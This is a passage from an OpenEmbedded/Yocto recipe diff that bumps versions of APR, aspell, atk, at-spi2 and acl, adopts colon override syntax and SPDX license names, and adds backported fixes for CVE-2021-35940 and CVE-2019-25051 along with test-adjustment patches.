+ /* shift new year to 1st March in order to make leap year calc easy */
+
+ if (xt->tm_mon < 2)
+Index: time/win32/time.c
+===================================================================
+--- a/time/win32/time.c (revision 1891197)
++++ b/time/win32/time.c (revision 1891198)
+@@ -54,6 +54,9 @@
+ static const int dayoffset[12] =
+ {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334};
+
++ if (tm->wMonth < 1 || tm->wMonth > 12)
++ return APR_EBADDATE;
++
+ /* Note; the caller is responsible for filling in detailed tm_usec,
+ * tm_gmtoff and tm_isdst data when applicable.
+ */
+@@ -228,6 +231,9 @@
+ static const int dayoffset[12] =
+ {306, 337, 0, 31, 61, 92, 122, 153, 184, 214, 245, 275};
+
++ if (xt->tm_mon < 0 || xt->tm_mon >= 12)
++ return APR_EBADDATE;
++
+ /* shift new year to 1st March in order to make leap year calc easy */
+
+ if (xt->tm_mon < 2)
diff --git a/meta/recipes-support/apr/apr/autoconf270.patch b/meta/recipes-support/apr/apr/autoconf270.patch
new file mode 100644
index 0000000000..9f7b5c624c
--- /dev/null
+++ b/meta/recipes-support/apr/apr/autoconf270.patch
@@ -0,0 +1,22 @@
+With autoconf 2.70 confdefs.h is already included. Including it twice generates
+compiler warnings and since this macros is to error on warnings, it breaks.
+
+Fix by not including the file.
+
+Upstream-Status: Pending
+RP - 2021/1/28
+
+Index: apr-1.7.0/build/apr_common.m4
+===================================================================
+--- apr-1.7.0.orig/build/apr_common.m4
++++ apr-1.7.0/build/apr_common.m4
+@@ -505,8 +505,7 @@ AC_DEFUN([APR_TRY_COMPILE_NO_WARNING],
+ fi
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+- [#include "confdefs.h"
+- ]
++ []
+ [[$1]]
+ [int main(int argc, const char *const *argv) {]
+ [[$2]]
diff --git a/meta/recipes-support/apr/apr_1.7.0.bb b/meta/recipes-support/apr/apr_1.7.0.bb
index eca9cdea48..9c826d4380 100644
--- a/meta/recipes-support/apr/apr_1.7.0.bb
+++ b/meta/recipes-support/apr/apr_1.7.0.bb
@@ -1,4 +1,8 @@
SUMMARY = "Apache Portable Runtime (APR) library"
+
+DESCRIPTION = "Create and maintain software libraries that provide a predictable \
+and consistent interface to underlying platform-specific implementations."
+
HOMEPAGE = "http://apr.apache.org/"
SECTION = "libs"
DEPENDS = "util-linux"
@@ -18,12 +22,15 @@ SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.bz2 \
file://0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch \
file://0007-explicitly-link-libapr-against-phtread-to-make-gold-.patch \
file://libtoolize_check.patch \
+ file://0001-Add-option-to-disable-timed-dependant-tests.patch \
+ file://autoconf270.patch \
+ file://CVE-2021-35940.patch \
"
SRC_URI[md5sum] = "7a14a83d664e87599ea25ff4432e48a7"
SRC_URI[sha256sum] = "e2e148f0b2e99b8e5c6caa09f6d4fb4dd3e83f744aa72a952f94f5a14436f7ea"
-inherit autotools-brokensep lib_package binconfig multilib_header ptest
+inherit autotools-brokensep lib_package binconfig multilib_header ptest multilib_script
OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
@@ -39,8 +46,9 @@ CACHED_CONFIGUREVARS += "ac_cv_file__dev_zero=yes"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[timed-tests] = "--enable-timed-tests,--disable-timed-tests,"
-do_configure_prepend() {
+do_configure:prepend() {
# Avoid absolute paths for grep since it causes failures
# when using sstate between different hosts with different
# install paths for grep.
@@ -51,24 +59,29 @@ do_configure_prepend() {
./buildconf 2
}
-FILES_${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
-RDEPENDS_${PN}-dev += "bash"
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apr-1-config \
+ ${PN}-dev:${datadir}/build-1/apr_rules.mk"
+
+FILES:${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
+RDEPENDS:${PN}-dev += "bash libtool"
-RDEPENDS_${PN}-ptest += "libgcc"
+RDEPENDS:${PN}-ptest += "libgcc"
#for some reason, build/libtool.m4 handled by buildconf still be overwritten
#when autoconf, so handle it again.
-do_configure_append() {
+do_configure:append() {
sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/libtool.m4
sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/apr_rules.mk
}
-do_install_append() {
+do_install:append() {
oe_multilib_header apr.h
install -d ${D}${datadir}/apr
}
-do_install_append_class-target() {
+do_install:append:class-target() {
+ rm -f ${D}${datadir}/build-1/libtool
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g ${D}${datadir}/build-1/apr_rules.mk
sed -i -e 's,${DEBUG_PREFIX_MAP},,g' \
-e 's,${STAGING_DIR_HOST},,g' ${D}${datadir}/build-1/apr_rules.mk
sed -i -e 's,${STAGING_DIR_HOST},,g' \
@@ -86,12 +99,12 @@ apr_sysroot_preprocess () {
cp ${S}/build/apr_rules.mk $d/
sed -i s,apr_builddir=.*,apr_builddir=,g $d/apr_rules.mk
sed -i s,apr_builders=.*,apr_builders=,g $d/apr_rules.mk
- sed -i s,LIBTOOL=.*,LIBTOOL=${HOST_SYS}-libtool,g $d/apr_rules.mk
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g $d/apr_rules.mk
sed -i s,\$\(apr_builders\),${STAGING_DATADIR}/apr/,g $d/apr_rules.mk
cp ${S}/build/mkdir.sh $d/
cp ${S}/build/make_exports.awk $d/
cp ${S}/build/make_var_export.awk $d/
- cp ${S}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
+ cp ${S}/libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
}
do_compile_ptest() {
diff --git a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb b/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
index 21bbcab3d3..e7599d69d6 100644
--- a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
+++ b/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
@@ -2,8 +2,9 @@
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Glibc hierarchical argument parsing standalone library"
+DESCRIPTION = "Standalone version of arguments parsing functions from GLIBC"
HOMEPAGE = "http://www.lysator.liu.se/~nisse/misc/"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://argp.h;beginline=1;endline=20;md5=008b7e53dea6f9e1d9fdef0d9cf3184a"
SECTION = "libs"
@@ -19,8 +20,8 @@ inherit autotools
CFLAGS += "-fPIC -U__OPTIMIZE__"
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_${PN}-staticdev = ""
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:${PN}-staticdev = ""
do_install() {
install -D -m 0644 ${B}/libargp.a ${D}${libdir}/libargp.a
diff --git a/meta/recipes-support/aspell/aspell_0.60.8.bb b/meta/recipes-support/aspell/aspell_0.60.8.bb
index 629987810a..39b55f4ff2 100644
--- a/meta/recipes-support/aspell/aspell_0.60.8.bb
+++ b/meta/recipes-support/aspell/aspell_0.60.8.bb
@@ -1,10 +1,21 @@
SUMMARY = "GNU Aspell spell-checker"
+
+DESCRIPTION = "Spell checker designed to eventually replace Ispell. \
+It can either be used as a library or as an independent spell checker. \
+Its main feature is that it does a superior job of suggesting possible \
+replacements for a misspelled word than just about any other spell \
+checker out there for the English language."
+
SECTION = "console/utils"
-LICENSE = "LGPLv2 | LGPLv2.1"
+HOMEPAGE = "http://aspell.net/"
+
+LICENSE = "LGPL-2.0-only | LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz \
+ file://CVE-2019-25051.patch \
+"
SRC_URI[md5sum] = "012fa9209203ae4e5a61c2a668fd10e3"
SRC_URI[sha256sum] = "f9b77e515334a751b2e60daab5db23499e26c9209f5e7b7443b05235ad0226f2"
@@ -13,17 +24,17 @@ PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
PACKAGES += "libaspell libpspell aspell-utils"
-RDEPENDS_${PN}-utils += "perl"
+RDEPENDS:${PN}-utils += "perl"
-FILES_libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
-FILES_aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
-FILES_${PN} = "${bindir}/aspell"
-FILES_libpspell = "${libdir}/libpspell.so.*"
-FILES_${PN}-dev += "${bindir}/pspell-config"
+FILES:libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
+FILES:aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
+FILES:${PN} = "${bindir}/aspell"
+FILES:libpspell = "${libdir}/libpspell.so.*"
+FILES:${PN}-dev += "${bindir}/pspell-config"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
inherit autotools-brokensep gettext texinfo binconfig-disabled
diff --git a/meta/recipes-support/aspell/files/CVE-2019-25051.patch b/meta/recipes-support/aspell/files/CVE-2019-25051.patch
new file mode 100644
index 0000000000..8513f6de79
--- /dev/null
+++ b/meta/recipes-support/aspell/files/CVE-2019-25051.patch
@@ -0,0 +1,101 @@
+From 0718b375425aad8e54e1150313b862e4c6fd324a Mon Sep 17 00:00:00 2001
+From: Kevin Atkinson <kevina@gnu.org>
+Date: Sat, 21 Dec 2019 20:32:47 +0000
+Subject: [PATCH] objstack: assert that the alloc size will fit within a chunk
+ to prevent a buffer overflow
+
+Bug found using OSS-Fuze.
+
+Upstream-Status: Backport
+[https://github.com/gnuaspell/aspell/commit/0718b375425aad8e54e1150313b862e4c6fd324a]
+CVE: CVE-2019-25051
+Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
+---
+ common/objstack.hpp | 18 ++++++++++++++----
+ 1 file changed, 14 insertions(+), 4 deletions(-)
+
+diff --git a/common/objstack.hpp b/common/objstack.hpp
+index 3997bf7..bd97ccd 100644
+--- a/common/objstack.hpp
++++ b/common/objstack.hpp
+@@ -5,6 +5,7 @@
+ #include "parm_string.hpp"
+ #include <stdlib.h>
+ #include <assert.h>
++#include <stddef.h>
+
+ namespace acommon {
+
+@@ -26,6 +27,12 @@ class ObjStack
+ byte * temp_end;
+ void setup_chunk();
+ void new_chunk();
++ bool will_overflow(size_t sz) const {
++ return offsetof(Node,data) + sz > chunk_size;
++ }
++ void check_size(size_t sz) {
++ assert(!will_overflow(sz));
++ }
+
+ ObjStack(const ObjStack &);
+ void operator=(const ObjStack &);
+@@ -56,7 +63,7 @@ class ObjStack
+ void * alloc_bottom(size_t size) {
+ byte * tmp = bottom;
+ bottom += size;
+- if (bottom > top) {new_chunk(); tmp = bottom; bottom += size;}
++ if (bottom > top) {check_size(size); new_chunk(); tmp = bottom; bottom += size;}
+ return tmp;
+ }
+ // This alloc_bottom will insure that the object is aligned based on the
+@@ -66,7 +73,7 @@ class ObjStack
+ align_bottom(align);
+ byte * tmp = bottom;
+ bottom += size;
+- if (bottom > top) {new_chunk(); goto loop;}
++ if (bottom > top) {check_size(size); new_chunk(); goto loop;}
+ return tmp;
+ }
+ char * dup_bottom(ParmString str) {
+@@ -79,7 +86,7 @@ class ObjStack
+ // always be aligned as such.
+ void * alloc_top(size_t size) {
+ top -= size;
+- if (top < bottom) {new_chunk(); top -= size;}
++ if (top < bottom) {check_size(size); new_chunk(); top -= size;}
+ return top;
+ }
+ // This alloc_top will insure that the object is aligned based on
+@@ -88,7 +95,7 @@ class ObjStack
+ {loop:
+ top -= size;
+ align_top(align);
+- if (top < bottom) {new_chunk(); goto loop;}
++ if (top < bottom) {check_size(size); new_chunk(); goto loop;}
+ return top;
+ }
+ char * dup_top(ParmString str) {
+@@ -117,6 +124,7 @@ class ObjStack
+ void * alloc_temp(size_t size) {
+ temp_end = bottom + size;
+ if (temp_end > top) {
++ check_size(size);
+ new_chunk();
+ temp_end = bottom + size;
+ }
+@@ -131,6 +139,7 @@ class ObjStack
+ } else {
+ size_t s = temp_end - bottom;
+ byte * p = bottom;
++ check_size(size);
+ new_chunk();
+ memcpy(bottom, p, s);
+ temp_end = bottom + size;
+@@ -150,6 +159,7 @@ class ObjStack
+ } else {
+ size_t s = temp_end - bottom;
+ byte * p = bottom;
++ check_size(size);
+ new_chunk();
+ memcpy(bottom, p, s);
+ temp_end = bottom + size;
diff --git a/meta/recipes-support/atk/at-spi2-atk_2.32.0.bb b/meta/recipes-support/atk/at-spi2-atk_2.32.0.bb
deleted file mode 100644
index bcf1c9c77a..0000000000
--- a/meta/recipes-support/atk/at-spi2-atk_2.32.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "AT-SPI 2 Toolkit Bridge"
-HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e9f288ba982d60518f375b5898283886"
-
-SRC_URI[archive.md5sum] = "6a4b27bace3b9352721ed462b95f6291"
-SRC_URI[archive.sha256sum] = "0b51e6d339fa2bcca3a3e3159ccea574c67b107f1ac8b00047fa60e34ce7a45c"
-
-DEPENDS = "dbus glib-2.0 glib-2.0-native atk at-spi2-core libxml2"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase distro_features_check upstream-version-is-even
-
-PACKAGES =+ "${PN}-gnome ${PN}-gtk2"
-
-FILES_${PN}-gnome = "${libdir}/gnome-settings-daemon-3.0/gtk-modules"
-FILES_${PN}-gtk2 = "${libdir}/gtk-2.0/modules/libatk-bridge.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb b/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb
new file mode 100644
index 0000000000..87f7b83c7d
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "AT-SPI 2 Toolkit Bridge"
+DESCRIPTION = "Contains a library that bridges ATK to At-Spi2 D-Bus service. Toolkit widgets use it to provide their content to screen readers such as Orca."
+HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
+BUGTRACKER = "http://bugzilla.gnome.org/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI[archive.sha256sum] = "cfa008a5af822b36ae6287f18182c40c91dd699c55faa38605881ed175ca464f"
+
+DEPENDS = "dbus glib-2.0 glib-2.0-native atk at-spi2-core libxml2"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase upstream-version-is-even
+
+PACKAGES =+ "${PN}-gnome ${PN}-gtk2"
+
+FILES:${PN}-gnome = "${libdir}/gnome-settings-daemon-3.0/gtk-modules"
+FILES:${PN}-gtk2 = "${libdir}/gtk-2.0/modules/libatk-bridge.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch b/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch
new file mode 100644
index 0000000000..4a9bbbcbb1
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch
@@ -0,0 +1,33 @@
+From 9e726133319298a835f724904c80e5adf78f475f Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Fri, 15 Oct 2021 18:00:04 +0000
+Subject: [PATCH] Ensure x11_dep is defined
+
+bus/meson.build checks if x11_dep.found(), but this fails when
+-Dx11=no
+
+Upstream-Status: Submitted
+[https://gitlab.gnome.org/GNOME/at-spi2-core/-/merge_requests/60]
+
+References:
+ https://gitlab.gnome.org/GNOME/at-spi2-core/-/issues/42
+ https://mesonbuild.com/howtox.html#get-a-default-notfound-dependency
+
+Signed-off-by: Tim Orling <timothy.t.orling@intel.com>
+---
+ meson.build | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/meson.build b/meson.build
+index b5104c8..85d7a0e 100644
+--- a/meson.build
++++ b/meson.build
+@@ -62,6 +62,8 @@ endif
+
+ x11_deps = []
+ x11_option = get_option('x11')
++# ensure x11_dep is defined for use in bus/meson.build
++x11_dep = dependency('', required: false)
+ if x11_option != 'no'
+ x11_dep = dependency('x11', required: false)
+
diff --git a/meta/recipes-support/atk/at-spi2-core_2.32.1.bb b/meta/recipes-support/atk/at-spi2-core_2.32.1.bb
deleted file mode 100644
index 11052a8ece..0000000000
--- a/meta/recipes-support/atk/at-spi2-core_2.32.1.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
-HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e9f288ba982d60518f375b5898283886"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "998fd9d858f8fa22c4c8c15567bf6254"
-SRC_URI[sha256sum] = "3c2aa937ebfaca2c86569bce9b16a34fbe20d69ef0c58846313b1c42f53b0d53"
-
-X11DEPENDS = "virtual/libx11 libxi libxtst"
-
-DEPENDS = "dbus glib-2.0"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '${X11DEPENDS}', '', d)}"
-
-inherit meson gtk-doc gettext systemd pkgconfig upstream-version-is-even gobject-introspection
-
-EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
- -Ddbus_daemon=${bindir}/dbus-daemon \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '-Dx11=yes', '-Dx11=no', d)} \
-"
-
-GTKDOC_MESON_OPTION = "docs"
-
-GIR_MESON_OPTION = 'introspection'
-GIR_MESON_ENABLE_FLAG = 'yes'
-GIR_MESON_DISABLE_FLAG = 'no'
-
-FILES_${PN} += "${datadir}/dbus-1/services/*.service \
- ${datadir}/dbus-1/accessibility-services/*.service \
- ${datadir}/defaults/at-spi2 \
- ${systemd_user_unitdir}/at-spi-dbus-bus.service \
- "
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core_2.42.0.bb b/meta/recipes-support/atk/at-spi2-core_2.42.0.bb
new file mode 100644
index 0000000000..9ca969cbb8
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-core_2.42.0.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
+
+DESCRIPTION = "It provides a Service Provider Interface for the Assistive Technologies available on the GNOME platform and a library against which applications can be linked."
+
+HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
+BUGTRACKER = "http://bugzilla.gnome.org/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
+ file://0001-Ensure-x11_dep-is-defined.patch \
+ "
+
+SRC_URI[sha256sum] = "4b5da10e94fa3c6195f95222438f63a0234b99ef9df772c7640e82baeaa6e386"
+
+X11DEPENDS = "virtual/libx11 libxi libxtst"
+
+DEPENDS = "dbus glib-2.0"
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '${X11DEPENDS}', '', d)}"
+
+inherit meson gtk-doc gettext systemd pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
+ -Ddbus_daemon=${bindir}/dbus-daemon \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '-Dx11=yes', '-Dx11=no', d)} \
+"
+
+GTKDOC_MESON_OPTION = "docs"
+
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = 'yes'
+GIR_MESON_DISABLE_FLAG = 'no'
+
+FILES:${PN} += "${datadir}/dbus-1/services/*.service \
+ ${datadir}/dbus-1/accessibility-services/*.service \
+ ${datadir}/defaults/at-spi2 \
+ ${systemd_user_unitdir}/at-spi-dbus-bus.service \
+ "
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/atk/0001-meson.build-enable-introspection-for-cross-compile.patch b/meta/recipes-support/atk/atk/0001-meson.build-enable-introspection-for-cross-compile.patch
deleted file mode 100644
index d1b08bc04b..0000000000
--- a/meta/recipes-support/atk/atk/0001-meson.build-enable-introspection-for-cross-compile.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 44d46baa5e1519c6c3df7e4d34fb333e247b5bc8 Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Fri, 6 Apr 2018 12:04:00 +0800
-Subject: [PATCH] meson.build: enable introspection for cross-compile
-
-It works fine in OE-core and doesn't need to be disabled. Let the user decide
-if it should be disabled or not.
-
-Upstream-Status: Pending
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- atk/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/atk/meson.build b/atk/meson.build
-index 0ad67e5..1d2a49c 100644
---- a/atk/meson.build
-+++ b/atk/meson.build
-@@ -137,7 +137,7 @@ libatk_dep = declare_dependency(link_with: libatk,
- dependencies: glib_dep,
- sources: atk_enum_h)
-
--if not meson.is_cross_build() and get_option('introspection')
-+if get_option('introspection')
- gnome.generate_gir(libatk,
- sources: atk_sources + atk_headers + [ atk_enum_h ] + [ atk_version_h ],
- namespace: 'Atk',
diff --git a/meta/recipes-support/atk/atk_2.32.0.bb b/meta/recipes-support/atk/atk_2.32.0.bb
deleted file mode 100644
index 67223729e9..0000000000
--- a/meta/recipes-support/atk/atk_2.32.0.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Accessibility toolkit for GNOME"
-HOMEPAGE = "http://live.gnome.org/GAP/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-SECTION = "x11/libs"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
- file://atk/atkutil.c;endline=18;md5=6fd31cd2fdc9b30f619ca8d819bc12d3 \
- file://atk/atk.h;endline=18;md5=fcd7710187e0eae485e356c30d1b0c3b"
-
-# Need gettext-native as Meson can't turn off i18n
-DEPENDS = "gettext-native glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gtk-doc gettext upstream-version-is-even gobject-introspection
-
-SRC_URI += " file://0001-meson.build-enable-introspection-for-cross-compile.patch"
-SRC_URI[archive.md5sum] = "c10b0b2af3c199e42caa6275b845c49d"
-SRC_URI[archive.sha256sum] = "cb41feda7fe4ef0daa024471438ea0219592baf7c291347e5a858bb64e4091cc"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/atk/atk_2.36.0.bb b/meta/recipes-support/atk/atk_2.36.0.bb
new file mode 100644
index 0000000000..59913f4bd0
--- /dev/null
+++ b/meta/recipes-support/atk/atk_2.36.0.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Accessibility toolkit for GNOME"
+DESCRIPTION = "Provides application programming interfaces (APIs) for implementing accessibility support in software."
+HOMEPAGE = "https://wiki.gnome.org/Accessibility"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/atk/-/issues"
+SECTION = "x11/libs"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
+ file://atk/atkutil.c;endline=18;md5=6fd31cd2fdc9b30f619ca8d819bc12d3 \
+ file://atk/atk.h;endline=18;md5=fcd7710187e0eae485e356c30d1b0c3b"
+
+# Need gettext-native as Meson can't turn off i18n
+DEPENDS = "gettext-native glib-2.0"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gtk-doc gettext upstream-version-is-even gobject-introspection
+
+SRC_URI[archive.md5sum] = "01aa5ec5138f5f8c9b3a4e3196ed2900"
+SRC_URI[archive.sha256sum] = "fb76247e369402be23f1f5c65d38a9639c1164d934e40f6a9cf3c9e96b652788"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch b/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch
new file mode 100644
index 0000000000..ba2ffee5d2
--- /dev/null
+++ b/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch
@@ -0,0 +1,63 @@
+From 9e08219e0e99ee2589cf35fa8d52cef3515accce Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 12 Dec 2019 15:47:49 +0100
+Subject: [PATCH] test: patch out failing bits
+
+I have confirmed on the host distro (Ubuntu 18.04) that they
+fail as well; upstream probably haven't noticed because the
+test is only executed under sudo.
+
+Upstream-Status: Inappropriate [disabling tests instead of fixing them properly]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ test/root/permissions.test | 13 -------------
+ 1 file changed, 13 deletions(-)
+
+diff --git a/test/root/permissions.test b/test/root/permissions.test
+index 8f8f825..21e8a95 100644
+--- a/test/root/permissions.test
++++ b/test/root/permissions.test
+@@ -50,10 +50,6 @@ User daemon is a member in the owning group, which has only read access.
+ Verify this.
+
+ $ su daemon
+- $ cat f
+- > root
+- > bin
+-
+ $ echo daemon >> f
+ >~ .*f: Permission denied$
+
+@@ -146,8 +142,6 @@ the owning group, he should still have no write access.
+ $ setfacl -x g:daemon f
+
+ $ su daemon
+- $ echo daemon4 >> f
+- >~ .*f: Permission denied$
+
+
+ Change the owning group. The other permissions should now grant user
+@@ -158,12 +152,6 @@ daemon write access.
+
+ $ su daemon
+ $ echo daemon5 >> f
+- $ cat f
+- > root
+- > bin
+- > daemon
+- > daemon2
+- > daemon5
+
+
+ Verify that permissions in separate matching ACL entries do not
+@@ -173,7 +161,6 @@ accumulate.
+ $ setfacl -m g:bin:r,g:daemon:w f
+
+ $ su daemon
+- $ : < f
+ $ : > f
+ $ : <> f
+ >~ .*f: Permission denied$
+--
+2.17.1
+
diff --git a/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch b/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch
new file mode 100644
index 0000000000..57ef0bb728
--- /dev/null
+++ b/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch
@@ -0,0 +1,24 @@
+From 39d332a8801de5d9ef09dacb3dba85c208b7b2ad Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 12 Dec 2019 13:45:52 +0100
+Subject: [PATCH] tests: do not hardcode the build path into a helper library
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ test/Makemodule.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/Makemodule.am b/test/Makemodule.am
+index 17d4927..015de7f 100644
+--- a/test/Makemodule.am
++++ b/test/Makemodule.am
+@@ -30,7 +30,7 @@ EXTRA_DIST += \
+ check_LTLIBRARIES = libtestlookup.la
+
+ libtestlookup_la_SOURCES = test/test_passwd.c test/test_group.c
+-libtestlookup_la_CFLAGS = -DBASEDIR=\"$(abs_srcdir)\"
++libtestlookup_la_CFLAGS = -DBASEDIR=\"/tmp/acl-ptest\"
+ libtestlookup_la_LDFLAGS = -rpath $(abs_builddir)
+
+ AM_TESTS_ENVIRONMENT = PATH="$(abs_top_builddir):$$PATH";
diff --git a/meta/recipes-support/attr/acl/Makefile-libacl-should-depend-on-include.patch b/meta/recipes-support/attr/acl/Makefile-libacl-should-depend-on-include.patch
deleted file mode 100644
index 4c7cba3b88..0000000000
--- a/meta/recipes-support/attr/acl/Makefile-libacl-should-depend-on-include.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From d82457ce5ca7455e336da5e244d95f90e52aaef8 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 18 Apr 2017 01:17:26 -0700
-Subject: [PATCH] Makefile: libacl should depend on include
-
-Fixed race issue:
- In file included from acl_copy_entry.c:22:0:
- libacl.h:19:21: fatal error: sys/acl.h: No such file or directory
- #include <sys/acl.h>
-
-[snip]
-
- compilation terminated.
- acl_get_file.c:27:24: fatal error: acl/libacl.h: No such file or directory
- #include <acl/libacl.h>
- ^
-
-The acl.h is in "include" directory, and include/Makefile creates
-symlink "sys" and "acl" poinst to current dirctory:
